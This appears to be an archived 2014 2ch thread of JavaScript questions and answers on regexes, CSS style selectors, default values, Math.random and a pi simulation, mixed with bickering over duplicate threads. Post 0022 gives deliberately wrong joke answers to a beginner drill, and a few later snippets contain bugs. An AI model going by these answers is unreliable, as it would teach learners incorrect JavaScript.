X



+ JavaScript の質問用スレッド vol.121 +
レス数が1000を超えています。これ以上書き込みはできません。
0001Name_Not_Found
垢版 |
2014/09/13(土) 19:11:44.98ID:???
JavaScript に関する何でも質問スレです。
お気軽にどうぞ。
0002Name_Not_Found
垢版 |
2014/09/13(土) 19:12:15.46ID:???
■前スレ
+ JavaScript の質問用スレッド vol.120 +
http://peace.2ch.net/test/read.cgi/hp/1409373751/

■過去スレ全集
http://www2.atpages.jp/mirror/2ch/javascript/
http://usamimi.info/~mirrorhenkan/2ch/javascript/ (閲覧のみ)

■関連スレ
ECMAScript デス 4
http://toro.2ch.net/test/read.cgi/tech/1325448978/
【jQuery】JavaScript ライブラリ総合質問所 vol.3
http://toro.2ch.net/test/read.cgi/hp/1369444026/
【WHATWG】HTML5 Part6【W3C HTML WG】
http://toro.2ch.net/test/read.cgi/hp/1393153279/
Webサイト制作初心者用質問スレ part239
http://toro.2ch.net/test/read.cgi/hp/1393828207/
CSS初心者スレッド=12th=
http://toro.2ch.net/test/read.cgi/hp/1343429848/
Canvasについて語ろう
http://toro.2ch.net/test/read.cgi/hp/1305093769/
0003Name_Not_Found
垢版 |
2014/09/13(土) 19:12:54.32ID:???
■各種仕様 ( http://fiddle.jshell.net/vSqKr/33/show/#Link も参照 )
◆ Standard ECMA-262
http://www2u.biglobe.ne.jp/~oz-07ams/prog/ecma262r3/ (ECMAScript 3 和訳)
http://www.ecma-international.org/ecma-262/5.1/ (ECMAScript 5.1 HTML版)
http://people.mozilla.org/~jorendorff/es6-draft.html (ECMAScript 6 有志HTML版)
http://kangax.github.io/es5-compat-table/ (ECMAScript 5 compatibility table)
http://kangax.github.io/es5-compat-table/es6/ (ECMAScript 6 compatibility table)
◆ HTML Standard (HTML5)
http://www.whatwg.org/specs/web-apps/current-work/multipage/
http://momdo.s35.xrea.com/web-html-test/spec/WD-html51-20130528/Overview.html (HTML5.1 部分訳)
http://www.hcn.zaq.ne.jp/___/WEB/WebStorage-ja.html (Web Storage 和訳)
◆ Document Object Model (DOM) / CSS Object Model (CSSOM)
http://www.hcn.zaq.ne.jp/___/WEB/DOM4-ja.html (DOM Standard (DOM4) 和訳)
http://www.w3.org/TR/DOM-Level-3-Events/ (DOM3 Events)
http://www.w3.org/TR/uievents/ (UI Events)
http://www.hcn.zaq.ne.jp/___/WEB/cssom-ja.html (CSSOM 和訳)
http://www.hcn.zaq.ne.jp/___/WEB/cssom-view-ja.html (CSSOM View Module 和訳)
◆ その他のWeb関連仕様
http://domparsing.spec.whatwg.org/ (DOM Parsing and Serialization - innerHTML等)
http://www.hcn.zaq.ne.jp/___/WEB/XHR-ja.html (XMLHttpRequest 和訳)
http://www.hcn.zaq.ne.jp/___/WEB/File_API-ja.html (File API 和訳)
http://www.whatwg.org/specs/ (WHATWGの仕様一覧)
◆ MDN (Netscape/Mozilla)
https://developer.mozilla.org/ja/docs
◆ JavaScript Garden (ja)
http://bonsaiden.github.com/JavaScript-Garden/ja/
◆ JSON (JavaScript Object Notation) 4
http://www.json.org/json-ja.html
◆ MSDN Library
http://msdn.microsoft.com/ja-jp/library/yek4tbz0.aspx (JavaScript)
http://msdn.microsoft.com/ja-jp/library/cc427807.aspx (JScript)
http://msdn.microsoft.com/ja-jp/library/cc409712.aspx (DHTML)
0005Name_Not_Found
垢版 |
2014/09/13(土) 22:28:07.09ID:???
>>1
またお前か
教えて君を擁護するためのテンプレで新スレを無駄に量産するな
0006Name_Not_Found
垢版 |
2014/09/14(日) 20:59:18.42ID:xbdCvSRU
どんだけスレ立てるんだよww
まぁスレ立てる手間省けていいけど
乙!
0007Name_Not_Found
垢版 |
2014/09/14(日) 21:43:27.09ID:???
乙なわけないだろ
この手の擁護はワンパターンすぎるわ
0008Name_Not_Found
垢版 |
2014/09/15(月) 16:18:51.11ID:gtUjIHaV
phpのstrip_tag()と同じことができる
方法を考えて
0009Name_Not_Found
垢版 |
2014/09/15(月) 20:33:15.48ID:???
>>8
ここは荒らしが立てたフライングスレだから他所へ行け
0010Name_Not_Found
垢版 |
2014/09/16(火) 16:49:17.38ID:6H52XqM3
ひさびさに来たんだが
なにが荒らしなん?
0011Name_Not_Found
垢版 |
2014/09/16(火) 18:10:51.54ID:pcL6/osK
文字列がすべてASCIIかを調べる正規表現を教えて頂きたいのですが、
自分で調べたところ

/[\x01-\x7F]/g



/[\x20-\x7E]/g

この2つが見つかりました。
これはどっちを使えばいいのでしょうか?
詳しい方教えてください
0013Name_Not_Found
垢版 |
2014/09/16(火) 18:55:07.40ID:???
>>10
vol.119がある状況でvol.121をたてる必要はないから
0014Name_Not_Found
垢版 |
2014/09/20(土) 16:06:26.93ID:MSLISnVY
あげあげ
0016Name_Not_Found
垢版 |
2014/09/21(日) 17:12:43.40ID:???
このスレはそのスレの次次スレだろ
0018Name_Not_Found
垢版 |
2014/09/22(月) 12:00:57.77ID:???
立てたのは荒らしかも知れないが、
スレ自体はまともなので問題ないのでは?

スレに問題があるっていう人、何人もいたっけ?
俺の知る限り一人しかいないよ。
0019Name_Not_Found
垢版 |
2014/09/23(火) 20:13:21.31ID:???
一人かどうかは知らんが、問題があるのは明らかだろ
0020Name_Not_Found
垢版 |
2014/09/24(水) 13:07:24.54ID:???
問題あるよ
おかしな文句言ってる奴の頭にww
0021榎本行宏 忍法帖【Lv=10,xxTP】(1+0:5) 【ponponfine95916】 ◆aXy7M764q2
垢版 |
2014/09/28(日) 15:46:50.85ID:e8x8AMN5?2BP(1000)
この問題の答え誰かわかりますか?(*ω*)
《演習ドリル JavaScript(1)》
【01】JavaScriptの標準化されたものをなんと呼ぶか書きなさい
【02】JavaScriptは、「   」で動くスクリプトです。空欄を埋めなさい。

   1. サーバー 2.クライアント
【03】命令文(ステイタス)の終了を表す記号を書きなさい
【04】jsフォルダー内にある sample.js を読み込む記述をしなさい
【05】警告ウィンドウを表示するスクリプトを記述しなさい(値は不要)
【06】ブラウザに文字列を表示するスクリプトを記述しなさい(値は不要)
【07】JavaScriptでの変数宣言をするために必要な語句を書きなさい
【08】文字列「こんにちは」を、ブラウザに表示するコードを記述しなさい(script要素内)
【09】変数 msgに、ダイアログボックスに入力された値を代入しブラウザに表示する記述をしなさい
【10】変数 aに8を、変数 bに6を代入し、a を bで割った余りををコンソールに表示しなさい
0022Name_Not_Found
垢版 |
2014/09/28(日) 17:15:03.86ID:???
> 【01】JavaScriptの標準化されたものをなんと呼ぶか書きなさい
LiveScript

>【02】JavaScriptは、「   」で動くスクリプトです。空欄を埋めなさい。
サーバーサイド等

> 【03】命令文(ステイタス)の終了を表す記号を書きなさい
なくてもよい

> 【04】jsフォルダー内にある sample.js を読み込む記述をしなさい
cat js/sample.js

> 【05】警告ウィンドウを表示するスクリプトを記述しなさい(値は不要)
<dialog id="alert">警告ウインドウ</dialog>
document.getElementById('alert').show()

> 【06】ブラウザに文字列を表示するスクリプトを記述しなさい(値は不要)
document.body.innerHTML = 'test';

> 【07】JavaScriptでの変数宣言をするために必要な語句を書きなさい
let

> 【08】文字列「こんにちは」を、ブラウザに表示するコードを記述しなさい(script要素内)
<script>document.write('<' + '/script>こんにちは<' + 'script>')</script>

> 【09】変数 msgに、ダイアログボックスに入力された値を代入しブラウザに表示する記述をしなさい
bootbox.prompt("input", "cancel", "ok", function(msg) { alert(msg) });

> 【10】変数 aに8を、変数 bに6を代入し、a を bで割った余りををコンソールに表示しなさい
[a,b]=[8,6],console.log(a/b)
0023Name_Not_Found
垢版 |
2014/10/03(金) 18:10:26.35ID:???
JavaScript を自ら学ぶ人のための質問スレッドです。
>>24-27のテンプレを読んだ上で質問してください。

■質問を書く上で
(1) 煽り、コード制作依頼等、人を不快にさせる投稿はご遠慮下さい。公序良俗を守った応対を心がけてください。
(2) 他の人に迷惑をかけるスクリプトの質問はご遠慮ください。
  (ブラクラ、[戻る], [閉じる], [クリック] の妨害、画面占有など)
(3) 質問者及び議論を行う人はメール欄を空欄にし、名前にレス番を入れることを強く推奨します。回答者はなりすましを判断できませんので、なりすましが現れても自己責任となります。
(4) 常に自発的に調べる心構えを持ってください。
  具体的には「自分で調べてから質問する」「回答をもらってわからない単語があればGoogle検索してみる」など。
  わからない内容を代わりに調べてくれる回答者をお望みの方は余所で質問してください。
(5) 出来るだけ一般的な用語を使用してください。脳内オレオレ用語は混乱の元です。
(6) 出来るだけ「問題の事象が再現されること」を確認したサンプルコードを掲示してください。言葉による説明は行き違いが生まれる場合があります。
(7) サンプルコードに HTML が含まれる場合は http://validator.w3.org/ で [Check] してみてください。
(8) 質問を具体的かつ詳細に書くと回答を得られやすいです。>>2の質問テンプレートを活用してみてください。
(9) ライブラリ関連の質問は禁止です。関連スレにあるライブラリ質問スレで質問して下さい。
(10) 時にはあなたが望む「答え」だけでなく、「意見」などが寄せられる場合もあります。
■質問テンプレート
【環境】OS, ブラウザをバージョンと共に記入してください。(ex: IE8, Firefox4)
【何をしたのか】何をしたら問題の現象が発生するのか。再現手順を具体的に書いてください。
【エラーメッセージ】エラーメッセージがあれば正確に書き写してください。(Windows なら「コピット」を活用)
【期待する結果】最終的にどういう結果を望んでいるのか、を書いてください。
【サンプルコード】現象を再現可能な最小限のコードを書いてください。
 1レスに収まらないならコード投稿サイトを利用してください。
 http://jsdo.it/ http://jsbin.com/ http://jsfiddle.net/ http://ideone.com/
0024Name_Not_Found
垢版 |
2014/10/03(金) 18:12:03.03ID:???
■前スレ
+ JavaScript の質問用スレッド vol.120 +
http://peace.2ch.net/test/read.cgi/hp/1409373751/

■過去スレ全集
http://www2.atpages.jp/mirror/2ch/javascript/
http://usamimi.info/~mirrorhenkan/2ch/javascript/ (閲覧のみ)

■テンプレ案
http://fiddle.jshell.net/fH4cC/160/show/

■関連スレ
ECMAScript デス 4
http://peace.2ch.net/test/read.cgi/tech/1325448978/
JavaScript ライブラリ総合質問所 vol.4
http://peace.2ch.net/test/read.cgi/hp/1400834117/
Webサイト制作初心者用質問スレ part242
http://peace.2ch.net/test/read.cgi/hp/1411718322/
CSS初心者スレッド=12th=
http://peace.2ch.net/test/read.cgi/hp/1343429848/
Canvasについて語ろう
http://peace.2ch.net/test/read.cgi/hp/1305093769/
0025Name_Not_Found
垢版 |
2014/10/03(金) 18:13:56.54ID:???
■主要FAQ (全部は http://fiddle.jshell.net/vSqKr/33/show/ )
Q1. 別窓・フレーム内容やローカルファイルを読み書きしたいのですが…
A1. 別サーバのページやファイルの内容はセキュリティ制約でアクセス不可です。
Q2. document.write()でページ内容を追加したいのですが…
A2. 一度表示完了後にwriteするとページ内容が消去されます。DOM等別手段を。
Q3. table内容のinnerHTMLやDOMでの変更がうまく行かないのですが…
A3. IEではtable/tbody/trのinnerHTML書き換え不可です。DOMを使いますが、
  DOMの場合tableの直下にはtbody要素が(作らなくても)あることに注意。
Q4. フォーム部品名を変数にした「...myform.変数名.value」が動きません…
A4. 「document.forms.myform.elements[変数名].value」でどぞ。
  JavaScriptでは一般に「obj.x」と「obj['x']」は同じ意味です。
  グローバル変数はwindowのプロパティなので「x」と「window['x']」も。
Q5. CSSで設定した背景色がe.style.backgroundColorで取得できないのですが…
A5. 取得には document.defaultView.getComputedStyle() を使う必要あり。
  IEでは要素オブジェクトのプロパティcurrentStyleを使う。
Q6. setAttribute("class","foo")、setAttribute("onclick","bar()")が動きません…
A6. IEではそれは不可。「obj.className="foo"」「obj.onclick=bar」でどぞ。
Q7. タイマーやイベントハンドラに設定するコードにthisを含めたいのですが
  「"...this..."」とか「function(){...this...}」ではうまく行きません。
A7. 実行時にthisが別のものを指してしまってる。以下のようにthisを束縛保存。
  「function(x){return function(){...x...};}(this)」
Q8. input type="file"の値を設定(参照)できないのですが…
A8. セキュリティ制約のため設定は絶対に不可。参照はブラウザにより不可。
Q9. getElementById('ID名')や$('ID名')で要素が取れないのですが…
A9. コード実行時点でHTMLがそこまで読まれてない。window.onload 中でやるとか。
0026Name_Not_Found
垢版 |
2014/10/03(金) 19:02:32.39ID:???
■各種仕様 ( http://fiddle.jshell.net/vSqKr/33/show/#Link も参照 )
◆ Standard ECMA-262
http://www2u.biglobe.ne.jp/~oz-07ams/prog/ecma262r3/ (ECMAScript 3 和訳)
http://www.ecma-international.org/ecma-262/5.1/ (ECMAScript 5.1 HTML版)
http://people.mozilla.org/~jorendorff/es6-draft.html (ECMAScript 6 有志HTML版)
http://kangax.github.io/es5-compat-table/ (ECMAScript 5 compatibility table)
http://kangax.github.io/es5-compat-table/es6/ (ECMAScript 6 compatibility table)
◆ HTML Standard (HTML5)
http://www.whatwg.org/specs/web-apps/current-work/multipage/
http://momdo.s35.xrea.com/web-html-test/spec/WD-html51-20130528/Overview.html (HTML5.1 部分訳)
http://www.hcn.zaq.ne.jp/___/WEB/WebStorage-ja.html (Web Storage 和訳)
◆ Document Object Model (DOM) / CSS Object Model (CSSOM)
http://www.hcn.zaq.ne.jp/___/WEB/DOM4-ja.html (DOM Standard (DOM4) 和訳)
http://www.w3.org/TR/DOM-Level-3-Events/ (DOM3 Events)
http://www.w3.org/TR/uievents/ (UI Events)
http://www.hcn.zaq.ne.jp/___/WEB/cssom-ja.html (CSSOM 和訳)
http://www.hcn.zaq.ne.jp/___/WEB/cssom-view-ja.html (CSSOM View Module 和訳)
◆ その他のWeb関連仕様
http://domparsing.spec.whatwg.org/ (DOM Parsing and Serialization - innerHTML等)
http://www.hcn.zaq.ne.jp/___/WEB/XHR-ja.html (XMLHttpRequest 和訳)
http://www.hcn.zaq.ne.jp/___/WEB/File_API-ja.html (File API 和訳)
http://www.whatwg.org/specs/ (WHATWGの仕様一覧)
◆ MDN (Netscape/Mozilla)
https://developer.mozilla.org/ja/docs
◆ JavaScript Garden (ja)
http://bonsaiden.github.com/JavaScript-Garden/ja/
◆ JSON (JavaScript Object Notation)
http://www.json.org/json-ja.html
◆ MSDN Library
http://msdn.microsoft.com/ja-jp/library/yek4tbz0.aspx (JavaScript)
http://msdn.microsoft.com/ja-jp/library/cc427807.aspx (JScript)
http://msdn.microsoft.com/ja-jp/library/cc409712.aspx (DHTML)
0027Name_Not_Found
垢版 |
2014/10/03(金) 19:05:40.91ID:???
■諸注意
vol.115でlodashを不必要に推奨して啓蒙する行為が多く確認されており、ライブラリ系の質問はvol.116から禁止されました。
vol.115,116ではライブラリ禁止する発言が見られた直後にライブラリを許可する意図で次スレを立てる行為が確認されています。
本スレッドでライブラリ許可を求める発言が確認された場合は不要な争いを避ける為、スルーすることを推奨します。
ライブラリの質問はライブラリスレへ誘導し、誘導行為への反論はスルーしてください。
0030Name_Not_Found
垢版 |
2014/11/01(土) 23:10:29.60ID:0xdu+1aq?2BP(2000)
HTML5のdrag&amp;drop機能との連携について質問です
下のような図になっていて
http://i.imgur.com/MWODR7N.png
要素をdrag&amp;dropすることは出来ました

次にドラッグしてきた時に重なった下の要素を取得しようと思い四角い要素にondragoverの属性を付けてドラッグしてみましたが
(図で言うと上の枠からドラッグしてきて既にある赤い四角と重なった時に下の赤い四角を取得しようとした)
重ねるとドロップされるボックス自体の要素が返ってきました

四角い要素を取得するにはどうしたらいいのでしょうか?
0031Name_Not_Found
垢版 |
2014/11/01(土) 23:18:59.79ID:0xdu+1aq?2BP(2000)
すいません書き方が間違っていただけでした
0032Name_Not_Found
垢版 |
2014/11/01(土) 23:21:03.67ID:???
>>30
こんなサンプル見つけたよ。

http://cdn.liginc.co.jp/demo/2014/07/zuya/dd/index4.html

参考になるかな?

$(function() {

$(".dragDiv").draggable();

$( "#div3" ).droppable({
accept : ".dragDiv" , // 受け入れる要素を指定
drop : function(event , ui){
// dragされてきたオブジェクトを取得してクローン作製
var dragId = ui.draggable.attr("id");
if($(this).find(".drop" + dragId).length == 0){
$(this).append('<span class="drop' + dragId +'">' + ui.draggable.text() + 'が置かれたよ</span>');
}
} ,
out : function (event , ui){
var dragId = ui.draggable.attr("id");
$(this).find(".drop" + dragId).remove();
}

});
});
0036Name_Not_Found
垢版 |
2014/11/06(木) 11:06:09.58ID:???
>>33
幼稚なことすんなゴミ
新陳代謝の低い板なんだからスレがえんえん残るだろボケ
0037Name_Not_Found
垢版 |
2014/11/06(木) 11:10:49.89ID:???
テンプレなんて意味ないんだから立った順番に粛々と使っていけばいい
ここはvol22として利用する
0038Name_Not_Found
垢版 |
2014/11/07(金) 15:24:22.70ID:???
ここは実質vol.22なのか
では、>>33に移動しようか
0039Name_Not_Found
垢版 |
2014/11/07(金) 16:53:20.73ID:???
(function(a){
})(a||a=[]);

こんな感じだったかよく覚えてないけど
括弧の中で代入してるコード見たことあるんですけど自分で描いてみたらエラーになりました
aっていうのが存在しなかったら[]を渡したい場合はどう書けばいいですか?
0042Name_Not_Found
垢版 |
2014/11/07(金) 19:57:58.43ID:???
spanをgetElementsByTagNameで取得して
obj.style.color = 'red'ってやってbodyに挿入したんですけど
この挿入した要素をquerySelectorで取得したいんですがdocument.querySelector('span[style="color: red"]')で取得できません
javascriptからstyleを設定しないで直接HTMLに<span style="color: red"></span>って書くと取得できました
どうやったらjavascriptでstyleを設定した要素をquerySelectorで取得できるかおしえてください
0043Name_Not_Found
垢版 |
2014/11/07(金) 20:20:20.19ID:???
setAttribute使うのはなしでおねがいします
なかったらないでいいです
0044Name_Not_Found
垢版 |
2014/11/07(金) 21:02:08.30ID:???
>>42-43
それは恐ろしく悪い実装だからお勧めしない
素直に class や id を使え
0045Name_Not_Found
垢版 |
2014/11/07(金) 21:39:38.98ID:???
それは無理ですそういうコードを書いているWEBサービスを僕が使わせていただいている身で、便利にするブックマークレットを作りたいからです
0046Name_Not_Found
垢版 |
2014/11/07(金) 22:11:54.74ID:???
そういえばJavaScriptでCSSを書き換えると自動的に値が変換されることがあるよな
elm.style.color = "#ff0000"; // => color: rgb(255, 0, 0);
elm.style.width = "0"; // => width: 0px;
elm.style.margin = "0 1px 0 1px"; // => margin: 0px 1px;
どういう風に変換するのかは、仕様で決まってるのかな?
それともブラウザが勝手に決めてるのだろうか
0047Name_Not_Found
垢版 |
2014/11/07(金) 23:25:25.62ID:rGU/ECK3
>>39

(function(a){
})(a || []);


こうじゃねーの?
0048Name_Not_Found
垢版 |
2014/11/07(金) 23:29:23.03ID:???
Uncaught ReferenceError: a is not defined
0049Name_Not_Found
垢版 |
2014/11/07(金) 23:30:59.88ID:rGU/ECK3
じゃあこうだろw

(function(a){
})(window.a || []);
0050Name_Not_Found
垢版 |
2014/11/07(金) 23:47:57.79ID:???
それでもいいけど、aがfalseyだったら思わぬことになるから
(function(a){
})("a" in window ? a : []);
がいいんじゃない?
0051Name_Not_Found
垢版 |
2014/11/08(土) 00:52:02.23ID:???
>>39
関数外で宣言する必要がまるでない
(function(){
var a = a || [];
})();
0052Name_Not_Found
垢版 |
2014/11/08(土) 00:57:39.11ID:???
>>45
では、面倒くさいが、
span[style="color:red"], span[style="color: red"], span[style="color : red"], span[style="color:#f00;"], span[style="color: #f00"]
のようにホワイトスペースやカンマの有無の全ての組み合わせを , 区切りで宣言しろ
ブラウザがstyle属性値をどのような書式で持つかは実装依存
ブラウザがバージョンアップして挙動が変更することも考えられるので必ず「全てのパターン」を宣言しろ
0053Name_Not_Found
垢版 |
2014/11/08(土) 01:01:39.96ID:???
>>51
それだと関数内の var で a が新たに宣言されてしまうので不可
var a = "test";
(function(){
var a = a || []; // 関数外の宣言に関わらず [] が代入される
})();
0054Name_Not_Found
垢版 |
2014/11/08(土) 01:11:54.57ID:???
>>53
"test" でも [] でも良い状況ってどんなケース?
[] で初期化するんだからオブジェクトを想定していたんだが
005554
垢版 |
2014/11/08(土) 01:13:42.72ID:???
あと、その条件なら普通にグローバルコードで宣言しろよ、と思うね
var a = a || [];
0056Name_Not_Found
垢版 |
2014/11/08(土) 01:14:41.99ID:???
>>54
a = "test"じゃなくても{}でも[]でも同じこと
試せばわかる
0057Name_Not_Found
垢版 |
2014/11/08(土) 01:22:39.75ID:???
>>56
なるほど、これでいいかね?
var a = [];
(function(){
var a = this.a || [];
}).call(this);
0060Name_Not_Found
垢版 |
2014/11/08(土) 02:12:08.58ID:???
>>59
すまん、向こうで回答しなおしてきた
荒らすのもいい加減にして欲しい
0061Name_Not_Found
垢版 |
2014/11/08(土) 02:17:33.79ID:???
>>42
document.querySelector('span[style="color: red;"]')

ただしこっちの方が安定的
Array.prototype.filter.call(document.querySelectorAll("span"), function(e){ return e.style.color == "red;" })[0]
0062Name_Not_Found
垢版 |
2014/11/08(土) 08:47:50.81ID:6IP4Y34A
$('span').filter(function() { return this.style.color = 'red'})
0063Name_Not_Found
垢版 |
2014/11/08(土) 10:54:19.86ID:???
querySelectorの第2引数の情報MDNに乗ってなかったよく知ってるな
0065Name_Not_Found
垢版 |
2014/11/08(土) 13:08:58.96ID:YzcprxwW
>>64
いやですw
0066Name_Not_Found
垢版 |
2014/11/08(土) 13:12:09.89ID:???
荒らしの立てたスレだから荒らしだけが残ればいい
0067Name_Not_Found
垢版 |
2014/11/08(土) 14:04:11.51ID:???
>>46
>どういう風に変換するのかは、仕様で決まってるのかな?

要素 element の element.style の戻り値が実装する
CSSStyleDeclaration インタフェースの
getPropertyValue() メソッドを呼び出したときの
戻り値の書式は CSSOM で決まってる。
(たぶんこれが element.style.xxx でアクセスしたとき得られる値だろう)

color の場合

"rgb(R, G, B)" (不透明度 1 の場合)または
"rgb(R, G, B, A)"
になる(R, G, B は10進数で A は小数、カンマの後はスペース)

element.style.color = ... で設定したときに element の style 属性にも
同じように反映されると考えるのが自然だが、仕様には書かれてないね

HTML 仕様にも style 属性のふるまいについて
www.w3.org/TR/css-style-attr/
を参照しているが
element.style.color = ... で値を設定したときについては
どうも書かれてないみたい
0068Name_Not_Found
垢版 |
2014/11/08(土) 14:06:35.92ID:44JfXZ+T
> span[style="color : red"],

これだと、例えばbackgroudが定義された時
色は赤なのにマッチしなくなるぞ
0069Name_Not_Found
垢版 |
2014/11/08(土) 14:08:27.84ID:44JfXZ+T
というかユーザースタイルシート(CSS)を書いてるのならともかく、
JavaScriptのコードを書いてるのにstyle属性をセレクタで
取得しようというのはセンスが悪いよ。
0070Name_Not_Found
垢版 |
2014/11/08(土) 14:30:42.40ID:???
>>68
span[style="color: red"], span[style="color : red"], span[style="color :red"],
span[style^="color: red;"], span[style^="color : red;"], span[style^="color :red;"],
span[style^="color: red ;"], span[style^="color : red ;"], span[style^="color :red ;"],
span[style*=";color: red;"], span[style*=";color : red;"], span[style*=";color :red;"],
span[style*=";color: red ;"], span[style*=";color : red ;"], span[style*=";color :red ;"],
span[style$=";color: red;"], span[style$=";color : red;"], span[style$=";color :red"],
span[style$="; color: red;"], span[style$="; color : red;"], span[style$="; color :red"]
のように部分一致にすれば良い
これでも足りないが、ホワイトスペースの組み合わせを考えると、気が遠くなる

>>69
querySelector がナンセンスなのは同意だが、querySelectorでないと困ると駄々をこねるので>>52で回答した
ComputedStyle を取るほうがまだマシだな
0071Name_Not_Found
垢版 |
2014/11/08(土) 15:32:07.79ID:???
>70に付け加えるなら「color: #f00, color: #ff0000, color: red, color: rgb(255, 0, 0)」のパターンもある
ホワイトスペースや ; の組み合わせパターンも考えると、かなり大変だな
ナンセンスな実装には違いない
0072Name_Not_Found
垢版 |
2014/11/08(土) 16:55:19.91ID:???
function abc(){
var result = aaaa();
result.ok = function(e){

}
}
って書くのと
function ok(){

}
function abc(){
var result = aaaa();
result.ok = ok;
}
}
って書くのどっちがメモリにやさしいですか?
前者はabc()を呼ぶたびに中の無名関数が生成されていってメモリの無駄になる気がするんですが
0073Name_Not_Found
垢版 |
2014/11/08(土) 16:58:56.26ID:???
>>72
実際にベンチマーク取ればわかるだろ?

わからければ・・・・違いはないということさ。
0074Name_Not_Found
垢版 |
2014/11/08(土) 19:27:34.31ID:???
なんかあっちはわざと?くだらない話ばかりして
グダグダしてるから、こっちにまともな答え書いておくわ。

Math.random() は0から1未満の数を返す。だから0にはなるが1.0にはならない。

https://developer.mozilla.org/ja/docs/Web/JavaScript/Reference/Global_Objects/Math/random
> [0,1) 、……つまり、0 以上 1 未満の範囲で疑似乱数を返します。Java と同様に、現在時刻をシードとして乱数を生成します。

求めたい値が、0〜5であれば、0, 1, 2, 3, 4, 5 の6パターンなので
Math.floor(Math.random()*6)が正解。

Math.random()が1がでるのであれば、1×6 = 6になるが、
1未満を返すので6未満、つまり最大でも5.9999・・・の小数点切り捨てで5が最大になる。
0〜1未満を6倍すると以下のようになるから、計算上は公平になる。

Math.floor(0 〜 0.9999・・・) = 0
Math.floor(1 〜 1.9999・・・) = 1
Math.floor(2 〜 2.9999・・・) = 2
Math.floor(3 〜 3.9999・・・) = 3
Math.floor(4 〜 4.9999・・・) = 4
Math.floor(5 〜 5.9999・・・) = 5


Math.floor(Math.random()*6) - 1; だとrandom() = 0の時
Math.floor(0*6) - 1 = Math.floor(0) - 1 = -1 なので明らかに間違い。
0075Name_Not_Found
垢版 |
2014/11/08(土) 19:34:02.86ID:CMgSWh8C
偽スレと本スレの格の違いがでたなw
0076Name_Not_Found
垢版 |
2014/11/08(土) 19:39:24.23ID:/Hj0O7lg
>例えばさ、乱数が0.0から0.9まで出るとするじゃん
>そうすると
>0.0*6=0.0
>0.1*6=0.6
>0.2*6=1.2
>0.3*6=1.8
>0.4*6=2.4
>0.5*6=3.0
>0.6*6=3.6
>0.7*6=4.2
>0.8*6=4.8
>0.9*6=5.4
>になって偏りがでるよね
>実際には問題にならないだろうけど
>凄い気になる

ってのがあったんだけど、まあいいや
ありがとう
0077Name_Not_Found
垢版 |
2014/11/08(土) 19:48:02.89ID:???
こっちもぐだぐだ感あふれてるわ
さっきはあっちのスレにたまたま人が多かっただけで何も変わらん
0078Name_Not_Found
垢版 |
2014/11/08(土) 19:48:20.50ID:???
>>76
>例えばさ、乱数が0.0から0.9まで出るとするじゃん

それは精度が低い(小数点第一位で終わってる)から。

random()が浮動小数点数を返すのは
精度が高く無いと、数値をかけた時に狂うから。

例えば0〜5ではなく、0〜99の時は
Math.random()*100になるが
0.4 だと 40、0.5 だと 50。41〜49が出る確率は0になってしまう。

これが0.4〜0.5の間もちゃんとでるのであれば、
0.41*100 = 41、0.42*100 = 42 のようにちゃんとでてくれる。

random()が0〜1未満の浮動小数点数(なるべく小数点以下が多い数)を
返すのは、ある範囲の整数を返すときに必要な「任意の数をかける」時に
問題ないようにするためなんだよ。

君が言ってる隔たりの原因は精度が低いから。
0079Name_Not_Found
垢版 |
2014/11/08(土) 19:50:04.53ID:???
>>77
なんで始まってからすぐグダグダになるんだよw
0080Name_Not_Found
垢版 |
2014/11/08(土) 19:50:31.28ID:/Hj0O7lg
>>78
うん、ありがとう
0081Name_Not_Found
垢版 |
2014/11/08(土) 19:53:36.68ID:/Hj0O7lg
なんでこんなこと聞いてたかっていうと
以下のコードで円周率を計算しようと思ったんだけど
ちゃんとした数値が出なくて
どこがおかしいのか添削してくれ

凄い遠回りしてるのは、自覚してるので
出来れば大幅な改変は無しでお願いします



var arr = new Array();
for (m = -50; m < 51; m++) {
for (n = -50; n < 50; n++) {
arr.push([m, n]);
}
arr.push([m, n]);
}

function crd() {
var rdm = arr[Math.floor(Math.random() * 10201)];
return Math.pow(rdm[0], 2) + Math.pow(rdm[1], 2);
}

var j = 0;
for (i = 0; i < 100000; i++) {
if (crd() < 2500) {
j++;
}
      }
      document.write("π≒" + j * 4 / 100000);
0082Name_Not_Found
垢版 |
2014/11/08(土) 19:55:02.99ID:???
>>79
こっちは>>39>>42に対する回答がぐだぐだだったし、何も変わらん
0083Name_Not_Found
垢版 |
2014/11/08(土) 19:57:36.27ID:???
> 0.2*6=1.2
> 0.3*6=1.8
> 0.4*6=2.4
> 0.5*6=3.0

ここだけを見ると2が出る確率が低いようだけど、実際は


0.00000 <= x < 0.16666… = 0
0.16666 <= x < 0.33333… = 1
0.33333 <= x < 0.5     = 2
0.5    <= x < 0.66666… = 3

になるから、どれも0.166666…ずつで、
ちょうど同じ数なんだよなね。
0084Name_Not_Found
垢版 |
2014/11/08(土) 20:07:18.90ID:???
>>42>>46>>52>>67>>70>>71
elm.style.xxx に値をセットした時には setPropertyValue() が呼び出される
http://www.w3.org/TR/cssom/#dom-cssstyledeclaration-camel-cased-attribute
「Setting the camel-cased attribute attribute must invoke setProperty() ...」

その際に値が自動変換される
http://www.w3.org/TR/cssom/#serialize-a-css-component-value
実際の定義は細かいけど、例として…
keyword は、小文字に変換される(RED は red になる。決して rgb() や #xxx などには変換されない)
<color> は、rgb(x, x, x) 又は rgba(x, x, x, x) に変換される。値同士は ", "(カンマ・スペース) で区切る
<length> で値が 0 の場合は、0px に変換される

さらに、style属性の文字列が更新される
http://www.w3.org/TR/cssom/#dom-elementcssinlinestyle-style
「Mutating the declarations must set the style content attribute ...」
その際の文字列の生成方法は、http://www.w3.org/TR/cssom/#serialize-a-css-declaration-block に記載されている。
概説すると、
[1] それぞれの宣言を「プロパティ名 + ": " + 値 + ";"」の形式にする。
.  その際、ショートハンドプロパティで表せるならそれを用いる
[2] それぞれを " " で結合する


…というわけで、ブラウザが CSSOM に則っているなら、
elm.style.color = "red"; としたら style="color: red;" になるし、>>46 の各々の変換も仕様に沿ったものである。

ただし、CSSOM はまだ Working Draft なので、上記の仕様に沿っていないブラウザも多数あるのが事実。
とは言っても >>42 の場合は自分が動かす分で動作すればいいだけなので、自分の環境で動くものを回答レスから適当に拾えばいい。長文すまん
0085Name_Not_Found
垢版 |
2014/11/08(土) 20:25:18.35ID:???
>>81
そのコードが何をやってるのかさっぱりわからんけど
(SQUEAKとかいうやつみたいだけど考えるの面倒くさいw)

以下のように数値変えたらそれっぽくなったよ。
何か計算間違ってるんじゃね? 点の取り方とか個数とか枝切の値とか

var arr = new Array();
for (m = 0; m < 1000; m++) {
for (n = 0; n < 1000; n++) {
arr.push([m, n]);
}
